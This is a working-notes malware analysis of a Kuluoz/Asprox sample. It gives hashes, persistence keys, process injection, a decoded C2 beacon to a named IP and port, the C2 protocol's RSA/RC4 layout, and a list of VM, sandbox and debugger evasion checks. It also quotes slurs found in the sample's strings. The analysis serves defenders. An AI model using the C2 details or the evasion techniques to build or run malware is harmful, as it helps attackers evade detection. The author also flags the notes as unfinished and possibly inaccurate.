----------------------------------------------------------- Sample : sample.exe MD5 : 0d173908dee410a2a42a983ff77a7264 SHA256 : fef7a0185f3cc2467642f08156f6670ab8cd24b1201e864b878c905aee8514dc REF : https://www.virustotal.com/en/file/fef7a0185f3cc2467642f08156f6670ab8cd24b1201e864b878c905aee8514dc/analysis/ http://www.threatexpert.com/report.aspx?md5=0d173908dee410a2a42a983ff77a7264 Date: Tuesday January 14 2014 -- 20:25:28 +02:00 ----------------------------------------------------------- // Autostart: <8e0374 >>> Software\Microsoft\Windows\CurrentVersion\Run Injects files into Windows application Hide sources Source: C:\WINDOWS\system32\svchost.exe Injected file: C:\WINDOWS\system32\notepad.exe //Wellknown string :-) 412155 >>> C KEY----- Unknown ERROR! Please wait and try again later. // PCAP in ASCII.. // REQUEST: GET /DCC523DC84BAA5FDF7856F98F7905F8883B2C863C0 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 66.255.131.164:8080 Content-Length: 321 Cache-Control: no-cache € G嘸V畳PD・栃^MﾋV_瓶52&桒I注 浩v<|ﾓﾀqｮZ柁疊lｬXc・貌ｽ慌J・ｪC56n詆*紮ﾃ %ﾏｯ.・ｲﾂｰ・]ﾃsｰ0 疊u.・6ﾌ]｢花yｾﾜYｵ〔?ｹ aﾅﾃﾁX磧d卍7緘藪F［oﾐ7ﾊ峯.盧裸ｨ莇!wｩ萠ｱﾆ簫ﾔ癪|ﾃq<)Uﾞ越bﾔﾒﾇ0ｵﾟﾊ・鮪@・ｱｫwg !裾*#)参H・ｫ些+Uｳ4ck市[02ﾉ鍰・ﾞ腑)琵㏍・・'t﨏ｷ孅・ｱｻ恷M・zﾑｦ!薔剿eｶC・・ﾕRﾋﾕ 6 6 !・Ex}{ﾖﾉS E (・@ @ﾅqBΖﾀｨ ・ｬ晧ｔe-,ﾓP=>・ ・ﾕR忘 ﾚ ﾚ !・Ex}{ﾖﾉS E ﾌ・@ @ﾃﾌBΖﾀｨ ・ｬ晧ｔe-,ﾓP=>・ Data Raw: 80 00 00 00 47 9a 7e 56 f1 86 8f f4 50 f8 57 44 fb 2d 93 c8 5e 4d cb 56 5f 95 72 35 32 26 fa e3 49 92 0d 8d 5f 76 3c 7c d3 c0 71 ae 5a 91 c6 e1 67 6c 04 ac 58 63 fa 38 96 65 bd 8d 51 4a 88 65 aa 43 17 f1 d8 35 1d 36 6e e6 68 2a e3 46 1c c3 0b 25 fd f8 8e 1f cf af 2e 98 3d b2 c2 b0 fc c8 5d c3 73 b0 08 f1 5e 30 0a e1 67 75 7f 2e fc bf f7 a0 36 cc 5d a2 89 d4 79 be f0 e9 dc f4 f1 59 b5 81 6b 3f b9 00 00 00 61 a0 c5 c3 c1 03 58 e2 40 64 99 c2 37 e3 67 fe 1a 1a 03 e5 4d 46 81 6d 04 6f d0 37 ca 95 f5 18 f4 5a 1d 2e e1 b8 97 87 a8 e4 b4 21 77 a9 e4 cc b1 18 c6 e2 d2 d4 7f f7 80 e1 9b 7c c3 01 0e 71 3c 29 55 de 89 7a 1b 62 d4 d2 c7 30 b5 df ca ea be 96 8e 0e 40 84 13 b1 ab 77 67 0d 21 90 9e 2a f1 9c 12 23 f5 65 29 15 8e 51 48 97 19 ab 8d b1 2b 55 b3 34 63 6b 8e 73 19 5b 30 fe f4 a4 32 08 c9 ee c3 1b f1 2b de fd e4 44 29 94 fa 87 83 17 86 c7 e8 28 27 74 f5 b4 fa 9b b7 9b 70 1c ef b3 b1 bb 9c 8e 4d e8 14 7a d1 0f a6 f8 41 21 f1 ea e5 4b 99 96 65 b6 43 eb 76 // RESPONSE HTTP/1.1 200 OK Server: nginx/1.2.6 Date: Tue, 14 Jan 2014 10:51:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close f5 € ﾐLHb｣ ﾚ・・Xt!RF億・ﾘﾓ・)釣w鎗ﾜ@ ts婆a苞:ZCq\ﾞ,驢・GQｻc(蘂^ﾀhk攪_yﾃoｵ 低q,S何*・ﾔ勀ｸ匠酣ﾍ・ﾚ|舶a｡愚ﾄｳ・ﾄ5・掵ﾇ{C ・=P€m aﾅﾃﾁX磧dﾑ・喩6Zｵ]・ｭ痿ﾅAjｵlｰ汰柀｣ ｺ0!{h-Bﾄｪｫｩ・ﾒpQﾓMFkR・/ｻvﾗ･濶・ｭ7\ｾW8p1募ｿﾙﾀ*ｰ7*:_鰭ｿﾛ|・ 0・ﾕR秦 < < }{ﾖﾉS !・Ex E (ﾃ@ €oｭﾀｨ BΖｬ親-,ﾓ晧・P[Oｶ ・ﾕR 6 6 !・Ex}{ﾖﾉS E (・@ @ﾅoBΖﾀｨ ・ｬ晧・e-,ﾔP=>・ ・ﾕRﾙa < < }{ﾖﾉS !・Ex E (ﾅ@ €oｫﾀｨ BΖｬ親-,ﾔ晧・P[Oｵ Data Raw: 66 35 0d 0a 80 00 00 00 d0 4c 48 62 a3 0a da 83 e3 89 3a 58 74 21 52 46 89 ad 88 fd 7f d8 d3 84 26 29 92 de 77 91 99 dc 40 0c 74 73 94 6b 61 e4 9a 3a 5a 43 06 71 5c de 2c e9 86 ee 1b 47 51 bb 63 f9 c0 28 e5 41 5e c0 68 6b 9d 98 5f 79 c3 6f b5 20 f9 e1 92 e1 71 2c 53 89 bd 15 2a 92 2d d4 fa 87 b8 8f a0 e7 c5 cd 85 18 da 7c 94 95 61 a1 8b f0 c4 b3 ec 0f c4 35 87 fb 9d 7d c7 7b 43 02 00 e4 21 3d f0 85 50 80 6d 00 00 00 61 a0 c5 c3 c1 03 58 e2 40 64 d1 f3 2c 9a 67 fe 36 5a 03 b5 5d f9 25 ad e1 7e fd c5 41 6a b5 6c b0 f8 9e 91 bf fa e4 a3 0d ba 30 21 7b 68 2d 1f 42 18 c4 aa ab a9 96 13 d2 70 51 d3 4d 46 6b f9 45 52 8a 2b 2f bb f3 7a 14 76 d7 0f a5 e8 89 f3 2d ff ad 37 5c be 57 38 70 31 95 e5 bf d9 c0 2a b0 37 2a 3a 5f 95 68 01 fe bf db 7c ef 0d 0a 30 0d 0a 0d 0a // URL Decoded: POST /DCC523DC84BAA5FDF7856F98F7905F8883B2C863C0 HTTP/1.1 2f 69 6e 64 65 78 2e 70 68 /index.ph 70 3f 72 3d 67 61 74 65 p?r=gate PS: They decoded those in memory too, lame: 8e06b4 >>> /index.php?r=gate // Testing CNC.. URL: h00p://66.255.131.164:8080/index.php?r=gate <=== Alive!!!!!!!!!! Tue Jan 14 20:05:53 JST 2014|66.255.131.164|uslec-66-255-131-164.cust.uslec.net.|1785 | 66.255.128.0/18 | AS-PAETEC-NET | US | USLEC.NET | TDARX INC (Hello USA..) $ ping 66.255.131.164 PING 66.255.131.164 (66.255.131.164): 56 data bytes 64 bytes from 66.255.131.164: icmp_seq=0 ttl=44 time=305.283 ms 64 bytes from 66.255.131.164: icmp_seq=1 ttl=44 time=189.028 ms [...] $ NMAP BLAH.. Nmap scan report for uslec-66-255-131-164.cust.uslec.net (66.255.131.164) Host is up (0.19s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 8080/tcp open http-proxy 9102/tcp open jetdirect // How SAMPLE is using encryption: // Source: C:\WINDOWS\system32\svchost.exe // Code function: 1_2_008D23D0 (Binary ADDRESS) CryptEncrypt,malloc, CryptEncrypt,CryptCreateHash, CryptHashData, CryptVerifySignatureA,malloc,free, CryptDestroyHash, // The trace of Public key dumped from memory: 8e3040 >>> -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U 00SNFZ88nyVv33z9+wIDAQAB -----END PUBLIC KEY // Testing interesting strings decrypted in registry: 8e041c >>> For base!!!!! 8e1114 >>> You fag!!!!! ^^^ It looks like so many moronz like to use this "fag" words.. decoding method works. // The template data sent to botnet: %s%s%d%d %d%d%s< /knock> // PS: I think I fouund the trace lead to the CODER of Kuluoz: C:\Users\DmitryHELL\Documents\SysIQUA\loader_1.4 r\loader_v4\loader_v3\Release\ ^^^^ See that "DmitryHELL" ? // notes: Herrcore decoded nicely: http://herrcore.blogspot.ca/2014/01/inside-new-asproxkuluoz-october-2013.html tHIS sample is the same blocks, so they dont upgrade it yet :-) Quoted "Examining the response we can see the first 4 bytes of the response body represent the length of the RSA signed hash of the data (little endian) 0x00000080. This is followed by the RSA signed hash. The RSA signed hash is followed by another 4 bytes that represent the length of the RC4 encrypted data 0x00000069. These 4 bytes are then followed by the RC4 encrypted data." <-- this should work. // PCAP download: here's the PCAP: https://www.mediafire.com/?f0qsp4exa1azfgf // Kernel debugger checks: C:\WINDOWS\system32\svchost.exe System information queried: KernelDebuggerInformation // Vbox checks: svchost.exe : VBoxTray.exe svchost.exe : HARDWARE\ACPI\DSDT\VBOX__ svchost.exe : vmusrvc.exe svchost.exe : VMwareDragDetWndClass svchost.exe : VBoxService.exe VM detection calls: 916): 8e0aa8 >>> vmtoolsd.exe 957): 8e0b4c >>> VMware 962): 8e0b94 >>> VMware 1093): 8e0b14 >>> vmsrvc.exe 1171): 8e0bcc >>> VMware 1208): 8e0b08 >>> vmusrvc.exe 1262): 8e0a70 >>> VMwareDragDetWndClass 1314): 8e0a88 >>> VMwareSwitchUserControlClass // Sandbox evasion, long sleeps: Source: C:\WINDOWS\system32\svchost.exe Thread delayed: delay time: -600 // Detect wireshark: (1351): 8e0908 >>> wireshark.exe // etc evasion: 8e08a4 >>> SELECT * FROM FirewallProduct 8e07e0 >>> SELECT * FROM AntiVirusProduct // DLL loaded: /// KNown.... (3): WINSPOOL.DRV (4): ShimEng.dll (5): WINMM.dll (6): MSACM32.dll (7): UxTheme.dll (8): kernel32.dll (13): comdlg32.dll (14): ADVAPI32.dll (15): RPCRT4.dll (16): Secur32.dll (18): msvcrt.dll (19): GDI32.dll (20): USER32.dll (21): SHLWAPI.dll (22): SHELL32.dll (30): ole32.dll (31): OLEAUT32.dll (33): VERSION.dll (34): USERENV.dll // etc DLL...dunno these.. (17): C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll 773A0000 1060864 (24): C:\WINDOWS\system32\shimeng.dll 5CF00000 155648 (26): C:\WINDOWS\AppPatch\AcGenral.dll 3D0000 1855488 (27): C:\WINDOWS\AppPatch\AcGenral.dll 3D0000 1855488 (28): C:\WINDOWS\AppPatch\AcGenral.dll 6FD90000 1875968 (29): C:\WINDOWS\system32\winmm.dll 76AF0000 188416 (32): C:\WINDOWS\system32\msacm32.dll 77BB0000 86016 (35): C:\WINDOWS\system32\uxtheme.dll 5B0F0000 229376 (37): C:\WINDOWS\system32\imm32.dll 360000 110592 (38): C:\WINDOWS\system32\imm32.dll 360000 110592 (39): C:\WINDOWS\system32\imm32.dll 76330000 118784 (43): C:\WINDOWS\system32\shell32.dll // Variable template list (forensics) (140): 41f215 >>> %Xe` (153): 41b7fa >>> %.ZM` (262): 41dd5d >>> r"%` (293): 422e2c >>> SymAgc Gain %f (577): 9f0a3 >>> ]=%1 (664): 9f0e3 >>> ]=%1 (698): 9f0a5 >>> %102 (969): 8e0298 >>> http://%[^:]:%d/%s (1085): 8e0403 >>> ]=%1 (1182): 8e0405 >>> %102 (1193): 8e076c >>> %d.%d x%d (1258): 8e043c >>> %1024[^=]=%1024[^;] (1261): 8e0443 >>> ]=%1 (1318): 8e06e8 >>> %[^:]:%d (1351): 8e03fc >>> %1024[^=]=%1024[^;] // Security bearch attempts.. (423): 100357e >>> SetSecurityDescriptorGroup (428): 100215c >>> CoInitializeSecurityParam (440): 100359c >>> SetSecurityDescriptorOwner (451): 10035ba >>> InitializeSecurityDescriptor (468): 100333e >>> CoInitializeSecurity (473): 100354e >>> SetSecurityDescriptorDacl (517): 1003942 >>> NtQuerySecurityObject (544): 1003a32 >>> RtlGetDaclSecurityDescriptor // RAM Forensics Registry calls: // Aggressives: 411b2c >>> RegDeleteValueA a09bc >>> RegDeleteValueA 8e1d1c >>> RegDeleteValueA 411a9e >>> RegCreateKeyA a092e >>> RegCreateKeyA 8e1c8e >>> RegCreateKeyA // Points; Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\ Software\Microsoft\Windows NT\CurrentVersion\Svchost Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced Software\Microsoft\Windows\CurrentVersion\Run Software\Microsoft\Windows NT\CurrentVersion SYSTEM\CurrentControlSet\Services SYSTEM\CurrentControlSet\services\Disk\Enum SYSTEM\CurrentControlSet\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00 SYSTEM\CurrentControlSet\Enum\PCI\VEN_15AD&DEV_0774&SUBSYS_074015AD&REV_00 SYSTEM\CurrentControlSet\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00 SYSTEM\CurrentControlSet\Enum\PCI\VEN_5333&DEV_8811&SUBSYS_00000000&REV_00 HARDWARE\ACPI\DSDT\AMIBI HARDWARE\ACPI\DSDT\VBOX__ HARDWARE\ACPI\DSDT\PTLTD__ HARDWARE\DESCRIPTION\System\BIOS HARDWARE\DESCRIPTION\System\BIOS HARDWARE\DESCRIPTION\System\BIOS HARDWARE\DESCRIPTION\System\BIOS // RAM Forensics - System Information Grabs PoC // Info: 8e1300 >>> bb10bd00-c135-11e2-b7ac-005056c00008 8e0a24 >>> 99929D61-1338-48B1-9433-D42A1D94F0D2 8e09cc >>> 99929D61-1338-48B1-9433-D42A1D94F0D2-x64 8e09f8 >>> 99929D61-1338-48B1-9433-D42A1D94F0D2-x32 8e0a24 >>> 99929D61-1338-48B1-9433-D42A1D94F0D2 8e12d8 >>> c540500f-c135-11e2-b348-005056c00008 // Calls: a06ea >>> GetVolumeInformationW 8e1d5a >>> LookupAccountNameA 8e1d70 >>> GetUserNameA 8e0bb8 >>> SystemProductName 8e08e0 >>> displayName 8e0dac >>> SystemManufacturer // Drops: (this is under check..something looks went wrong during the drop captures..) MD5: 7BF167A337B794CC26FF3C2DFFD68113 SHA: 6077966E1FAA4F92E1137AB1F9177E72DDD4AA40 0000 05 00 0B 03 10 00 00 00 48 00 00 00 01 00 00 00 ........H....... 0010 B8 10 B8 10 00 00 00 00 01 00 00 00 00 00 01 00 ................ 0020 80 BD A8 AF 8A 7D C9 11 BE F4 08 00 2B 10 29 89 .....}......+.). 0030 01 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 .....].......... 0040 2B 10 48 60 02 00 00 00 05 00 0B 07 10 00 00 00 +.H`............ 0050 8B 00 3B 00 02 00 00 00 B8 10 B8 10 7A 38 00 00 ..;.........z8.. 0060 01 00 00 00 01 00 01 00 36 00 61 20 22 FA CF 11 ........6.a "... 0070 98 23 00 A0 C9 11 E5 DF 01 00 00 00 04 5D 88 8A .#...........].. 0080 EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`.... 0090 0A 06 00 00 D0 FA 0F 00 4E 54 4C 4D 53 53 50 00 ........NTLMSSP. 00A0 01 00 00 00 B7 B2 08 E2 0D 00 0D 00 2E 00 00 00 ................ 00B0 06 00 06 00 28 00 00 00 05 01 28 0A 00 00 00 0F ....(.....(..... 00C0 39 32 37 35 33 37 41 52 42 45 49 54 53 47 52 55 927537ARBEITSGRU 00D0 50 50 45 05 00 10 03 10 00 00 00 64 00 48 00 02 PPE........d.H.. 00E0 00 00 00 B8 10 B8 10 0A 06 00 00 D0 FA 0F 00 4E ...............N 00F0 54 4C 4D 53 53 50 00 03 00 00 00 00 00 00 00 48 TLMSSP.........H 0100 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 48 .......H.......H 0110 00 00 00 00 00 00 00 48 00 00 00 00 00 00 00 48 .......H.......H 0120 00 00 00 00 00 00 00 48 00 00 00 35 C2 88 E2 05 .......H...5.... 0130 01 28 0A 00 00 00 0F .(..... // in Text..Quicky  H  ｸｸ   €ｽｨｯ笠ﾉｾ・ +)・ ]・・ﾉ溯 +H`   ・;  ｸｸz8    6 a "昕・ ﾉ裃 ]・・ﾉ溯 +H`  ﾐ・ NTLMSSP  ｷｲ・ .   ( ( 927537ARBEITSGRUPPE  d H  ｸｸ  ﾐ・ NTLMSSP  H H H H H H 5ﾂ遺( （ still working on this.. not final.. may contain mistakes & inaccuracies) ---- #MalwareMustDie @unixfreaxjp